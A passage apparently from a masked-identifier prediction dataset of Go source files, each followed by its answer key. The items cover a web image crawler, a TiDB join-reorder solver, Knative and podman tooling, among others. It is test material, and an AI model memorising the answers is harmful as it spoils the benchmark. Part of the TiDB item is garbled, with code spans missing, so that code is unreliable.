resp.Body.Close() // 读取页面内容 [MASK] , err := ioutil.ReadAll(resp.Body) if err != nil { fmt.Println(""ioutil.ReadAll error"", err) return } // 字节转换为字符串 pageStr = string( [MASK] ) return pageStr } // 下载图片,核心内容是获取图片的reader、write对象 func downloadImg(savePath string, url string) error { v, err := http.Get(url) if err != nil { fmt.Println(""http.Get error"", err) return err } defer v.Body.Close() fileName := path.Base(url) // 获取文件名 // 获得get请求响应的reader对象 reader := bufio.NewReaderSize(v.Body, 32*1024) // 创建单个文件保存下来 file, err := os.Create(savePath + fileName) if err != nil { fmt.Println(""ioutil.WriteFile error"", err) return err } // // 获得文件的writer对象 writer := bufio.NewWriter(file) written, err := io.Copy(writer, reader) if err != nil { fmt.Println(""io.Copy error"", err) return err } fmt.Println(fileName, ""download is success, Total length:"", written) return nil } // 给main.go进行调用的外部地址 func GetCrawl1Img() { start := time.Now() for i := 2; i <= 21; i++ { // 根据观察规则,发现下载图片地址网站 url := ""http://www.52desktop.cn/html/DLZM/KPBZ/20191205/15898_"" + strconv.Itoa(i) + "".html"" pageStr := GetPageStr(url) re := regexp.MustCompile(reImg) results := re.FindAllStringSubmatch(pageStr, -1) // -1 表示搜索所有可能的匹配项。 for _, result := range results { if strings.Contains(result[0], ""20191204"") { // 过滤条件读取图片地址 downloadImg(""D:\\school\\internShipTC\\day 2\\crawDemo\\img1\\"", result[0]) } } } elapse := time.Since(start) fmt.Println(""elapsed time is : "", elapse, ""s"") } ",pagebytes 13,"package internal import ( ""encoding/json"" ""errors"" ""fmt"" ""os"" ""time"" ) type baseOptions struct { VersionNumber int64 `json:""versionNumber""` } type optionsV1 struct { VersionNumber int64 `json:""versionNumber""` GlowVersion string `json:""glowVersion""` } type optionsV2 struct { VersionNumber int64 `json:""versionNumber""` GlowVersion string `json:""glowVersion""` LastRefresh int64 `json:""lastRefresh""` } type optionsV3 struct { VersionNumber int64 `json:""versionNumber""` LastRefresh int64 `json:""lastRefresh""` } type optionsLatest = optionsV3 type Options struct { VersionNumber uint8 LastRefresh time.Time } var defaultOptions = Options{ VersionNumber: 3, LastRefresh: time.Unix(0, 0), } func (o *Options) Flush() error { oSerializable := optionsLatest{ VersionNumber: int64(o.VersionNumber), LastRefresh: o.LastRefresh.Unix(), } // Serialize and write to disk s, err := json.Marshal(oSerializable) if err != nil { fmt.Println(""Failed to serialize options."") fmt.Fprintln(os.Stderr, err) os.Exit(1) } f, err := os.OpenFile(OptionsPath, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0755) if err != nil { fmt.Println(""Failed to open options file for writing."") fmt.Fprintln(os.Stderr, err) os.Exit(1) } //nolint:errcheck defer f.Close() _, err = f.Write(s) if err != nil { fmt.Println(""Failed to write to options file."") fmt.Fprintln(os.Stderr, err) os.Exit(1) } return nil } func (o *optionsV1) upgrade() *optionsLatest { ov2 := &optionsV2{ VersionNumber: int64(defaultOptions.VersionNumber), GlowVersion: o.GlowVersion, LastRefresh: 0, } return ov2.upgrade() } func (o *optionsV2) upgrade() *optionsLatest { return &optionsV3{ VersionNumber: int64(defaultOptions.VersionNumber), LastRefresh: o.LastRefresh, } } func Load() *Options { f, err := os.Open(OptionsPath) if err != nil { if errors.Is(err, os.ErrNotExist) { err = defaultOptions.Flush() if err != nil { fmt.Println(""Failed to save default options."") fmt.Fprintln(os.Stderr, err) os.Exit(1) } return &defaultOptions } fmt.Println(""Failed to open options file for reading."") fmt.Fprintln(os.Stderr, err) os.Exit(1) } //nolint:errcheck defer f.Close() var o baseOptions decoder := json.NewDecoder(f) err = decoder.Decode(&o) if err != nil { fmt.Println(""Failed to decode options file."") fmt.Fprintln(os.Stderr, err) os.Exit(1) } // Reset file read position _, _ = f.Seek(0, 0) var oLatest *optionsLatest switch o.VersionNumber { case 1: var [MASK] *optionsV1 err = decoder.Decode(& [MASK] ) if err != nil { fmt.Println(""Failed to decode options file as v1 format."") fmt.Fprintln(os.Stderr, err) os.Exit(1) } oLatest = [MASK] .upgrade() case 2: var ov2 *optionsV2 err = decoder.Decode(&ov2) if err != nil { fmt.Println(""Failed to decode options file as v2 format."") fmt.Fprintln(os.Stderr, err) os.Exit(1) } oLatest = ov2.upgrade() case 3: var ov3 *optionsV3 err = decoder.Decode(&ov3) if err != nil { fmt.Println(""Failed to decode options file as v3 format."") fmt.Fprintln(os.Stderr, err) os.Exit(1) } oLatest = ov3 default: fmt.Println(""Unknown options file version."") fmt.Fprintln(os.Stderr, err) os.Exit(1) } return &Options{ VersionNumber: uint8(oLatest.VersionNumber), LastRefresh: time.UnixMilli(oLatest.LastRefresh), } } ",ov1 14,"package main import twodee ""../../libs/twodee"" type AudioSystem struct { app *Application bgmusic *twodee.Music menumusic *twodee.Music click *twodee.SoundEffect sel *twodee.SoundEffect bgmusicObserverId int menumusicObserverId int selObserverId int clickObserverId int pauseMusicObserverId int resumeMusicObserverId int } func (a *AudioSystem) PlayBGMusic(e twodee.GETyper) { if twodee.MusicIsPlaying() { twodee.PauseMusic() } a.bgmusic.Play(-1) } func (a *AudioSystem) PlayMenuMusic(e twodee.GETyper) { if twodee.MusicIsPlaying() { twodee.PauseMusic() } a.menumusic.Play(-1) } func (a *AudioSystem) PauseMusic(e twodee.GETyper) { if twodee.MusicIsPlaying() { twodee.PauseMusic() } } func (a *AudioSystem) ResumeMusic(e twodee.GETyper) { if twodee.MusicIsPaused() { twodee.ResumeMusic() } } func (a *AudioSystem) PlaySel(e twodee.GETyper) { a.sel.Play(1) } func (a *AudioSystem) PlayClick(e twodee.GETyper) { a.click.Play(1) } func (a *AudioSystem) Delete() { a.app.GameEventHandler.RemoveObserver(BGMusic, a.bgmusicObserverId) a.app.GameEventHandler.RemoveObserver(MenuMusic, a.menumusicObserverId) a.app.GameEventHandler.RemoveObserver(MenuSel, a.selObserverId) a.app.GameEventHandler.RemoveObserver(MenuClick, a.clickObserverId) a.app.GameEventHandler.RemoveObserver(PauseMusic, a.pauseMusicObserverId) a.app.GameEventHandler.RemoveObserver(ResumeMusic, a.resumeMusicObserverId) a.bgmusic.Delete() a.menumusic.Delete() a.click.Delete() a.sel.Delete() } func NewAudioSystem(app *Application) ( [MASK] *AudioSystem, err error) { var ( bgmusic *twodee.Music menumusic *twodee.Music click *twodee.SoundEffect sel *twodee.SoundEffect ) if bgmusic, err = twodee.NewMusic(""assets/sounds/Dream_World_Theme_1.ogg""); err != nil { return } if menumusic, err = twodee.NewMusic(""assets/sounds/Menu_Track_1.ogg""); err != nil { return } if click, err = twodee.NewSoundEffect(""assets/sounds/click.ogg""); err != nil { return } // TODO: Rename this to sel.ogg. if sel, err = twodee.NewSoundEffect(""assets/sounds/select.ogg""); err != nil { return } [MASK] = &AudioSystem{ app: app, bgmusic: bgmusic, menumusic: menumusic, click: click, sel: sel, } [MASK] .bgmusicObserverId = app.GameEventHandler.AddObserver(BGMusic, [MASK] .PlayBGMusic) [MASK] .menumusicObserverId = app.GameEventHandler.AddObserver(MenuMusic, [MASK] .PlayMenuMusic) [MASK] .selObserverId = app.GameEventHandler.AddObserver(MenuSel, [MASK] .PlaySel) [MASK] .clickObserverId = app.GameEventHandler.AddObserver(MenuClick, [MASK] .PlayClick) [MASK] .pauseMusicObserverId = app.GameEventHandler.AddObserver(PauseMusic, [MASK] .PauseMusic) [MASK] .resumeMusicObserverId = app.GameEventHandler.AddObserver(ResumeMusic, [MASK] .ResumeMusic) return } ",audioSystem 15,"// Copyright 2018 PingCAP, Inc. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // See the License for the specific language governing permissions and // limitations under the License. package core import ( ""math/bits"" ""github.com/pingcap/tidb/expression"" ""github.com/pingcap/tidb/parser/ast"" ) type joinReorderDPSolver struct { *baseSingleGroupJoinOrderSolver newJoin func(lChild, rChild LogicalPlan, eqConds []*expression.ScalarFunction, otherConds []expression.Expression) LogicalPlan } type joinGroupEqEdge struct { nodeIDs []int edge *expression.ScalarFunction } type joinGroupNonEqEdge struct { nodeIDs []int nodeIDMask uint expr expression.Expression } func (s *joinReorderDPSolver) solve(joinGroup []LogicalPlan, eqConds []expression.Expression) (LogicalPlan, error) { // TODO: You need to implement the join reorder algo based on DP. // The pseudo code can be found in README. // And there's some common struct and method like `baseNodeCumCost`, `calcJoinCumCost` you can use in `rule_join_reorder.go`. // Also, you can take a look at `rule_join_reorder_greedy.go`, this file implement the join reorder algo based on greedy algorithm. // You'll see some common usages in the greedy version. // Note that the join tree may be disconnected. i.e. You need to consider the case `select * from t, t1, t2`. for _, node := range joinGroup { _, err := node.recursiveDeriveStats() if err != nil { return nil, err } s.curJoinGroup = append(s.curJoinGroup, &jrNode{ p: node, cumCost: s.baseNodeCumCost(node), }) } adjMatrix := make([][]int, len(s.curJoinGroup)) totalEqEdges := make([]joinGroupEqEdge, 0, len(eqConds)) // build join tree for _, cond := range eqConds { f := cond.(*expression.ScalarFunction) lCol := f.GetArgs()[0].(*expression.Column) rCol := f.GetArgs()[1].(*expression.Column) lIndex, err := findNodeIndexInGroup(joinGroup, lCol) if err != nil { return nil, err } rIndex, err := findNodeIndexInGroup(joinGroup, rCol) if err != nil { return nil, err } totalEqEdges = append(totalEqEdges, joinGroupEqEdge{ nodeIDs: []int{lIndex, rIndex}, edge: f, }) adjMatrix[lIndex] = append(adjMatrix[lIndex], rIndex) adjMatrix[rIndex] = append(adjMatrix[rIndex], lIndex) } totalNonEqEdges := make([]joinGroupNonEqEdge, 0, len(s.otherConds)) for _, cond := range s.otherConds { cols := expression.ExtractColumns(cond) mask := uint(0) ids := make([]int, 0, len(cols)) for _, col := range cols { idx, err := findNodeIndexInGroup(joinGroup, col) if err != nil { return nil, err } ids = append(ids, idx) mask |= 1 << uint(idx) } totalNonEqEdges = append(totalNonEqEdges, joinGroupNonEqEdge{ nodeIDs: ids, nodeIDMask: mask, expr: cond, }) } // bfs join graph visited := make([]bool, len(joinGroup)) nodeID2VisitID := make([]int, len(joinGroup)) var joins []LogicalPlan for i := 0; i < len(joinGroup); i++ { if visited[i] { continue } visitID2NodeID := s.bfsJoinGraph(i, visited, adjMatrix, nodeID2VisitID) nodeIDMask := uint(0) for _, id := range visitID2NodeID { nodeIDMask |= 1 << uint(id) } var subNonEqEdges []joinGroupNonEqEdge for i := len(totalNonEqEdges) - 1; i >= 0; i-- { if totalNonEqEdges[i].nodeIDMask&nodeIDMask != totalNonEqEdges[i].nodeIDMask { // 当前 edge 不存在于 nodeIDMask 对应的 sub 中 continue } newMask := uint(0) for _, nodeID := range totalNonEqEdges[i].nodeIDs { newMask |= 1 << uint(nodeID2VisitID[nodeID]) } totalNonEqEdges[i].nodeIDMask = newMask subNonEqEdges = append(subNonEqEdges, totalNonEqEdges[i]) // remove non eq edge i totalNonEqEdges = append(totalNonEqEdges[:i], totalNonEqEdges[i+1:]...) } // do dp join, err := s.doDP(visitID2NodeID, nodeID2VisitID, joinGroup, totalEqEdges, subNonEqEdges) if err != nil { return nil, err } joins = append(joins, join) } remainedOtherCond := make([]expression.Expression, 0, len(totalNonEqEdges)) for _, edge := range totalNonEqEdges { remainedOtherCond = append(remainedOtherCond, edge.expr) } return s.makeBushyJoin(joins, remainedOtherCond), nil } func (s *joinReorderDPSolver) doDP( visitID2NodeID, nodeID2VisitID []int, joinGroup []LogicalPlan, totalEqEdges []joinGroupEqEdge, totalNonEqEdges []joinGroupNonEqEdge) (LogicalPlan, error) { nodeCnt := uint(len(visitID2NodeID)) dp := make([]*jrNode, 1< 0; sub = (sub - 1) & nodeBitMap { remain := nodeBitMap ^ sub if sub > remain { continue } // not connected if dp[sub] == nil || dp[remain] == nil { continue } edges, otherConds := s.getConnectedNodes(sub, remain, nodeID2VisitID, totalEqEdges, totalNonEqEdges) if len(edges) == 0 { continue } join, err := s.newJoinWithEdge(dp[sub].p, dp[remain].p, edges, otherConds) if err != nil { return nil, err } cost := s.calcJoinCumCost(join, dp[sub], dp[remain]) if dp[nodeBitMap] == nil { dp[nodeBitMap] = &jrNode{ p: join, cumCost: cost, } } else if dp[nodeBitMap].cumCost > cost { dp[nodeBitMap].p = join dp[nodeBitMap].cumCost = cost } } } return dp[(1< 0 && (rightMask&(1< 0) || (( [MASK] &(1< 0 && (rightMask&(1< 0) { edges = append(edges, edge) } } for _, edge := range totalNonEqEdges { if edge.nodeIDMask&( [MASK] |rightMask) != edge.nodeIDMask { continue } if edge.nodeIDMask& [MASK] == 0 || edge.nodeIDMask&rightMask == 0 { continue } otherConds = append(otherConds, edge.expr) } return edges, otherConds } func (s *joinReorderDPSolver) bfsJoinGraph(start int, visited []bool, matrix [][]int, nodeID2VisitID []int) []int { q := []int{start} visited[start] = true var visitID2NodeID []int for len(q) > 0 { // q.front() cur := q[0] // q.pop() q = q[1:] // map of node id and visit id // 建立 node id 与 访问顺序 的映射 nodeID2VisitID[cur] = len(visitID2NodeID) visitID2NodeID = append(visitID2NodeID, cur) for _, next := range matrix[cur] { if !visited[next] { q = append(q, next) visited[next] = true } } } return visitID2NodeID } func (s *joinReorderDPSolver) newJoinWithEdge(leftPlan, rightPlan LogicalPlan, edges []joinGroupEqEdge, otherConds []expression.Expression) (LogicalPlan, error) { var eqConds []*expression.ScalarFunction for _, edge := range edges { lCol := edge.edge.GetArgs()[0].(*expression.Column) rCol := edge.edge.GetArgs()[1].(*expression.Column) if leftPlan.Schema().Contains(lCol) { eqConds = append(eqConds, edge.edge) } else { newSf := expression.NewFunctionInternal(s.ctx, ast.EQ, edge.edge.GetType(), rCol, lCol).(*expression.ScalarFunction) eqConds = append(eqConds, newSf) } } join := s.newJoin(leftPlan, rightPlan, eqConds, otherConds) _, err := join.recursiveDeriveStats() return join, err } // Make cartesian join as bushy tree. func (s *joinReorderDPSolver) makeBushyJoin(cartesianJoinGroup []LogicalPlan, otherConds []expression.Expression) LogicalPlan { for len(cartesianJoinGroup) > 1 { resultJoinGroup := make([]LogicalPlan, 0, len(cartesianJoinGroup)) for i := 0; i < len(cartesianJoinGroup); i += 2 { if i+1 == len(cartesianJoinGroup) { resultJoinGroup = append(resultJoinGroup, cartesianJoinGroup[i]) break } // TODO:Since the other condition may involve more than two tables, e.g. t1.a = t2.b+t3.c. // So We'll need a extra stage to deal with it. // Currently, we just add it when building cartesianJoinGroup. mergedSchema := expression.MergeSchema(cartesianJoinGroup[i].Schema(), cartesianJoinGroup[i+1].Schema()) var usedOtherConds []expression.Expression otherConds, usedOtherConds = expression.FilterOutInPlace(otherConds, func(expr expression.Expression) bool { return expression.ExprFromSchema(expr, mergedSchema) }) resultJoinGroup = append(resultJoinGroup, s.newJoin(cartesianJoinGroup[i], cartesianJoinGroup[i+1], nil, usedOtherConds)) } cartesianJoinGroup = resultJoinGroup } return cartesianJoinGroup[0] } func findNodeIndexInGroup(group []LogicalPlan, col *expression.Column) (int, error) { for i, plan := range group { if plan.Schema().Contains(col) { return i, nil } } return -1, ErrUnknownColumn.GenWithStackByArgs(col, ""JOIN REORDER RULE"") } ",leftMask 16,"package main import ( ""encoding/json"" ""flag"" ""fmt"" ""log"" ""net/url"" ""os"" ""github.com/frobware/grawler"" ) var concurrency int func init() { flag.IntVar(&concurrency, ""j"", 50, ""number of concurrent downloads"") } var usage = func() { fmt.Fprintf(os.Stderr, ""%s [ -j ] URL\n"", os.Args[0]) flag.PrintDefaults() } func sameHost(base *url.URL, URL string) bool { u, err := url.Parse(URL) if err != nil { return false } return base.Hostname() == u.Hostname() } func main() { flag.Parse() if len(flag.Args()) < 1 { usage() os.Exit(1) } baseURL, err := url.Parse(flag.Arg(0)) if err != nil { log.Fatal(err) } filter := func(URL string) bool { return sameHost(baseURL, URL) } [MASK] := grawler.NewHTTPFetcher() pages := grawler.Crawl(flag.Arg(0), concurrency, [MASK] , filter) b, err := json.MarshalIndent(pages, """", "" "") if err != nil { log.Fatal(""error:"", err) } fmt.Println(string(b)) } ",fetcher 17,"package mydeployment import ( ""context"" ""fmt"" corev1 ""k8s.io/api/core/v1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/labels"" ""k8s.io/client-go/kubernetes"" k8slisters ""k8s.io/client-go/listers/core/v1"" ""k8s.io/client-go/tools/cache"" kubeclient ""knative.dev/pkg/client/injection/kube/client"" podinformer ""knative.dev/pkg/client/injection/kube/informers/core/v1/pod"" ""knative.dev/pkg/configmap"" knativeController ""knative.dev/pkg/controller"" ""knative.dev/pkg/kmeta"" ""knative.dev/pkg/logging"" knativeReconciler ""knative.dev/pkg/reconciler"" ""knative.dev/sample-controller/pkg/apis/demo"" v1 ""knative.dev/sample-controller/pkg/apis/demo/v1"" mydeploymentinformers ""knative.dev/sample-controller/pkg/client/injection/informers/demo/v1/mydeployment"" mydeploymentReconciler ""knative.dev/sample-controller/pkg/client/injection/reconciler/demo/v1/mydeployment"" ""strconv"" ) type Reconciler struct { // 能够列出当前pod的接口 PodLister k8slisters.PodLister // k8s API, 能够增删改查api kubeClient kubernetes.Interface } func NewController( ctx context.Context, cmw configmap.Watcher, ) *knativeController.Impl { podInformer := podinformer.Get(ctx) mydeploymentInformers := mydeploymentinformers.Get(ctx) reconciler := &Reconciler{ podInformer.Lister(), kubeclient.Get(ctx), } impl := mydeploymentReconciler.NewImpl(ctx, reconciler) mydeploymentInformers.Informer().AddEventHandler(knativeController.HandleAll(impl.Enqueue)) // Listen for events on the child resources and enqueue the owner of them. podInformer.Informer().AddEventHandler(cache.FilteringResourceEventHandler{ FilterFunc: knativeController.FilterController(&v1.MyDeployment{}), Handler: knativeController.HandleAll(impl.EnqueueControllerOf), }) return impl } func (r Reconciler) ReconcileKind(ctx context.Context, o *v1.MyDeployment) knativeReconciler.Event { [MASK] := logging.FromContext(ctx) ns := o.Namespace podList, err := r.PodLister.Pods(ns).List(labels.SelectorFromSet(labels.Set{})) if err != nil { return fmt.Errorf(""failed to list existing pods: %w"", err) } [MASK] .Infof(""Found %d pods in total"", len(podList)) replicas, err := strconv.Atoi(o.Spec.Replicas) toCreate := replicas - len(podList) [MASK] .Infof(""Got %d existing pods, desired Replicas is %d"", len(podList), replicas) if toCreate > 0 { // 需要创建pod [MASK] .Infof(""need create %d pods"", toCreate) pods := makePods(o) for i := 0; i < toCreate; i++ { _, err := r.kubeClient.CoreV1().Pods(pods.Namespace).Create(ctx, pods, metav1.CreateOptions{}) if err != nil { return fmt.Errorf(""failed to create pod: %w"", err) } } } else if toCreate < 0 { //多余的pod, 需要删除 toDelete := toCreate * -1 [MASK] .Infof(""need delete %d pods"", toDelete) for i := 0; i < toDelete; i++ { r.kubeClient.CoreV1().Pods(o.Namespace).Delete(ctx, podList[i].Name, metav1.DeleteOptions{}) } } return nil } func makePods(d *v1.MyDeployment) *corev1.Pod { return &corev1.Pod{ ObjectMeta: metav1.ObjectMeta{ Namespace: d.ObjectMeta.Namespace, GenerateName: d.Name + ""-"", Labels: map[string]string{ // The label allows for easy querying of all the pods created. demo.GroupName + ""/podOwner"": d.Name, }, // The OwnerReference makes sure the pods get removed automatically once the // SimpleDeployment is removed. OwnerReferences: []metav1.OwnerReference{*kmeta.NewControllerRef(d)}, }, Spec: corev1.PodSpec{ Containers: []corev1.Container{ {Name: ""abreaking-container"", Image: d.Spec.Image}, }, }, } } var ( _ mydeploymentReconciler.Interface = (*Reconciler)(nil) ) ",logger 18,"package cmd import ( ""fmt"" ""os"" ""sort"" ""strings"" ""time"" ""unicode"" ""github.com/containers/common/pkg/report"" ""github.com/containers/podman-bootc/pkg/utils"" ""github.com/containers/podman/v5/pkg/bindings/images"" ""github.com/containers/podman/v5/pkg/domain/entities"" ""github.com/distribution/reference"" ""github.com/docker/go-units"" ""github.com/sirupsen/logrus"" ""github.com/spf13/cobra"" ) var ( imagesCmd = &cobra.Command{ Use: ""images"", Short: ""List bootc images in the local containers store"", Long: ""List bootc images in the local container store"", RunE: doImages, } ) func init() { RootCmd.AddCommand(imagesCmd) } func doImages(flags *cobra.Command, args []string) error { machine, err := utils.GetMachineContext() if err != nil { println(utils.PodmanMachineErrorMessage) logrus.Errorf(""failed to connect to podman machine. Is podman machine running?\n%s"", err) return err } [MASK] := map[string][]string{""label"": []string{""containers.bootc=1""}} imageList, err := images.List(machine.Ctx, new(images.ListOptions).WithFilters( [MASK] )) if err != nil { return err } imageReports, err := sortImages(imageList) if err != nil { return err } return writeImagesTemplate(imageReports) } func writeImagesTemplate(imgs []imageReporter) error { hdrs := report.Headers(imageReporter{}, map[string]string{ ""ID"": ""IMAGE ID"", ""ReadOnly"": ""R/O"", }) rpt := report.New(os.Stdout, ""images"") defer rpt.Flush() rpt, err := rpt.Parse(report.OriginPodman, lsFormatFromFlags()) if err != nil { return err } if err := rpt.Execute(hdrs); err != nil { return err } return rpt.Execute(imgs) } func sortImages(imageS []*entities.ImageSummary) ([]imageReporter, error) { imgs := make([]imageReporter, 0, len(imageS)) var err error for _, e := range imageS { var h imageReporter if len(e.RepoTags) > 0 { tagged := []imageReporter{} untagged := []imageReporter{} for _, tag := range e.RepoTags { h.ImageSummary = *e h.Repository, h.Tag, err = tokenRepoTag(tag) if err != nil { return nil, fmt.Errorf(""parsing repository tag: %q: %w"", tag, err) } if h.Tag == """" { untagged = append(untagged, h) } else { tagged = append(tagged, h) } } // Note: we only want to display """" if we // couldn't find any tagged name in RepoTags. if len(tagged) > 0 { imgs = append(imgs, tagged...) } else { imgs = append(imgs, untagged[0]) } } else { h.ImageSummary = *e h.Repository = """" h.Tag = """" imgs = append(imgs, h) } } sort.Slice(imgs, sortFunc(""created"", imgs)) return imgs, err } func tokenRepoTag(ref string) (string, string, error) { if ref == "":"" { return """", """", nil } repo, err := reference.Parse(ref) if err != nil { return """", """", err } named, ok := repo.(reference.Named) if !ok { return ref, """", nil } name := named.Name() if name == """" { name = """" } tagged, ok := repo.(reference.Tagged) if !ok { return name, """", nil } tag := tagged.Tag() if tag == """" { tag = """" } return name, tag, nil } func sortFunc(key string, data []imageReporter) func(i, j int) bool { switch key { case ""id"": return func(i, j int) bool { return data[i].ID() < data[j].ID() } case ""repository"": return func(i, j int) bool { return data[i].Repository < data[j].Repository } case ""size"": return func(i, j int) bool { return data[i].size() < data[j].size() } case ""tag"": return func(i, j int) bool { return data[i].Tag < data[j].Tag } default: // case ""created"": return func(i, j int) bool { return data[i].created().After(data[j].created()) } } } func lsFormatFromFlags() string { row := []string{ ""{{if .Repository}}{{.Repository}}{{else}}{{end}}"", ""{{if .Tag}}{{.Tag}}{{else}}{{end}}"", ""{{.ID}}"", ""{{.Created}}"", ""{{.Size}}"", } return ""{{range . }}"" + strings.Join(row, ""\t"") + ""\n{{end -}}"" } type imageReporter struct { Repository string `json:""repository,omitempty""` Tag string `json:""tag,omitempty""` entities.ImageSummary } func (i imageReporter) ID() string { return i.ImageSummary.ID[0:12] } func (i imageReporter) Created() string { return units.HumanDuration(time.Since(i.created())) + "" ago"" } func (i imageReporter) created() time.Time { return time.Unix(i.ImageSummary.Created, 0).UTC() } func (i imageReporter) Size() string { s := units.HumanSizeWithPrecision(float64(i.ImageSummary.Size), 3) j := strings.LastIndexFunc(s, unicode.IsNumber) return s[:j+1] + "" "" + s[j+1:] } func (i imageReporter) History() string { return strings.Join(i.ImageSummary.History, "", "") } func (i imageReporter) CreatedAt() string { return i.created().String() } func (i imageReporter) CreatedSince() string { return i.Created() } func (i imageReporter) CreatedTime() string { return i.CreatedAt() } func (i imageReporter) size() int64 { return i.ImageSummary.Size } ",filters 19,"// Copyright 2022 // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package api import ( ""context"" ""errors"" ""fmt"" ""io/ioutil"" ""os"" ""os/exec"" ""path/filepath"" ""time"" bootstrapv3 ""github.com/envoyproxy/go-control-plane/envoy/config/bootstrap/v3"" _ ""github.com/envoyproxy/go-control-plane/envoy/extensions/filters/network/http_connection_manager/v3"" // added to resolve v3.HttpConnectionManager. ""github.com/tetratelabs/run"" ""github.com/tetratelabs/telemetry"" ""google.golang.org/protobuf/encoding/protojson"" ""sigs.k8s.io/yaml"" ""github.com/dio/runproxy/internal/downloader"" ""github.com/dio/runproxy/internal/runner"" ) var ( // Default binary version. DefaultBinaryVersion = ""1.21.0"" // Default download timeout. DefaultDownloadTimeout = 30 * time.Second ) const ( binaryHomeEnvKey = ""PROXY_HOME"" ) // Config holds the configuration object for running auth_server. type Config struct { Version string // Location where the binary will be downloaded. Dir string Logger telemetry.Logger ProxyConfig *bootstrapv3.Bootstrap } // New returns a new run.Service that wraps auth_server binary. Setting the cfg to nil, expecting // setting the auth_server's --filter_config from a file. func New(cfg *Config) *Service { if cfg == nil { cfg = &Config{} // TODO(dio): Have a way to generate default config. } return &Service{ cfg: cfg, } } // Service is a run.Service implementation that runs auth_server. type Service struct { cfg *Config cmd *exec.Cmd binaryPath string configPath string proxyConfigFile string } var _ run.Config = (*Service)(nil) // Name returns the service name. func (s *Service) Name() string { return ""proxy"" } // FlagSet provides command line flags for external auth-service. func (s *Service) FlagSet() *run.FlagSet { flags := run.NewFlagSet(""Proxy Service options"") flags.StringVar( &s.proxyConfigFile, s.flagName(""config""), s.proxyConfigFile, ""Path to the proxy config file"") flags.StringVar( &s.cfg.Version, s.flagName(""version""), DefaultBinaryVersion, ""Proxy version"") flags.StringVar( &s.cfg.Dir, s.flagName(""directory""), os.Getenv(binaryHomeEnvKey), ""Path to the proxy work directory"") return flags } func (s *Service) flagName(name string) string { return s.Name() + ""-"" + name } // Validate validates the given configuration. func (s *Service) Validate() error { if s.proxyConfigFile != """" { b, err := os.ReadFile(s.proxyConfigFile) if err != nil { return err } // Probably a .yaml file. We simply check the extension here. if filepath.Ext(s.proxyConfigFile) == "".yaml"" || filepath.Ext(s.proxyConfigFile) == "".yml"" { b, err = yaml.YAMLToJSON(b) if err != nil { return fmt.Errorf(""failed to load config: %w"", err) } } var cfg bootstrapv3.Bootstrap if err = protojson.Unmarshal(b, &cfg); err != nil { return err } s.cfg.ProxyConfig = &cfg } if s.cfg.ProxyConfig == nil { return errors.New(""proxy config is required"") } return s.cfg.ProxyConfig.ValidateAll() } // PreRun prepares the biany to run. func (s *Service) PreRun() (err error) { if s.cfg.Dir == """" { // To make sure we have a work directory. dir, err := ioutil.TempDir("""", downloader.DefaultBinaryName) if err != nil { return nil } s.cfg.Dir = dir } [MASK] , cancel := context.WithTimeout(context.Background(), DefaultDownloadTimeout) defer cancel() // Check and download the versioned binary. s.binaryPath, err = downloader.DownloadVersionedBinary( [MASK] , s.cfg.Version, s.cfg.Dir, downloader.DefaultBinaryName) if err != nil { return err } // Generate JSON config to run the auth_server. See: authservice/docs/README.md. jsonConfig, err := protojson.Marshal(s.cfg.ProxyConfig) if err != nil { return err } tmp, err := os.CreateTemp(s.cfg.Dir, ""*.json"") if err != nil { return err } s.configPath = tmp.Name() if _, err = tmp.Write(jsonConfig); err != nil { return err } // TODO(dio): Allow to execute with more options. // Expose all envoy command line args as flags here. s.cmd = runner.MakeCmd(s.binaryPath, []string{""-c"", s.configPath}, os.Stdout) return nil } // Serve runs the binary. func (s *Service) Serve() error { // Run the downloaded auth_server with the generated config in s.configPath. if exitCode, err := runner.Run(s.cmd); err != nil { s.cfg.Logger.Error(fmt.Sprintf(""%s exit with %d"", downloader.DefaultBinaryName, exitCode), err) return err } return nil } // GracefulStop stops the underlying process by sending interrupt. func (s *Service) GracefulStop() { if s.cmd != nil { s.cmd.Process.Signal(os.Interrupt) } } ",ctx 20,"package main import ( ""fmt"" ""github.com/qiuzhanghua/common/util"" ""os"" ) func main() { if len(os.Args) <= 1 { fmt.Printf(""Usage:\n %s \n"", os.Args[0]) os.Exit(0) } hasMode := false var replaceMode util.ReplaceMode = util.Keep if os.Args[1] == ""-b"" { replaceMode = util.BackSlash hasMode = true } else if os.Args[1] == ""-s"" { replaceMode = util.Slash hasMode = true } else if os.Args[1] == ""-d"" { replaceMode = util.DoubleBackSlash hasMode = true } else if os.Args[1] == ""-v"" || os.Args[1] == ""version"" { fmt.Printf(""%s %s (%s %s)\n"", ""tiny-replace"", AppVersion, AppRevision, AppBuildDate) os.Exit(0) } args := os.Args[1:] if hasMode { args = os.Args[2:] } filename := args[0] fmt.Println(filename) // filename = ReplaceString(filename) //perhaps needed f, err := os.ReadFile(filename) AssetNil(err) [MASK] := string(f) c2 := util.ReplaceStringWithMode( [MASK] , replaceMode, args...) err = os.WriteFile(filename, []byte(c2), 0644) AssetNil(err) os.Exit(0) } func AssetNil(err interface{}) { if err != nil { fmt.Println(err) os.Exit(-1) } } ",content 21,"// Package bridge implements the Bridge design pattern. // In the context of woodworking projects, the bridge is implemented through dependency inversion. // The specific projects (Desk, Chair) are not tightly coupled to a particular tool set (ManualToolSet or PowerToolSet), // but instead depend on an abstract interface (ToolSet). // Each project conforms to the ProjectBuild interface and inherits from the Project struct, // which encapsulates the abstract ToolSet and validation method, allowing for flexible tool swapping without modifying // the project logic. package bridge func Run() { // Defining the manual and power tools manualTools := ManualToolSet{} powerTools := PowerToolSet{} // Building the chair with a manual tools chairProject := Chair{Project{&manualTools}} chairProject.Build() // Building it with a power tools chairProject.Tools = &powerTools chairProject.Build() // Building the desk with a power tools [MASK] := Desk{Project{&powerTools}} [MASK] .Build() // Try to build the project without toolset wrongProject := Chair{} wrongProject.Build() } ",deskProject 